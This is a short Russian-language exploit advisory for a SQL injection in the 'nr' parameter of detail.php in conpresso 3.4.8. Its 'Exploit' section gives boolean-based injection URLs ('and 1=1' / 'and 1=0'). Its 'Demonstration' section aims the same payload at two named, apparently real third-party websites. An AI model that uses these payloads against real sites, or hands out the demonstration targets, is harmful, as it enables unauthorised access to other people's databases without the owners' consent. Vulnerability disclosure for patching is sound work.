Программа: conpresso 3.4.8
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «nr» сценарием detail.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.
Эксплоит:
www.[URL]/[PATH]/detail.php?nr=[nr] and 1=1
www.[URL]/[PATH]/detail.php?nr=[nr] and 1=0
Демонстрация:
http://www.maria-pawlowna.de/conpresso/Home/detail.php?nr=70+and+1=1
http://www.muenster.org/hittorf/hittorf/Schulleben/detail.php?nr=6501+and+1=0
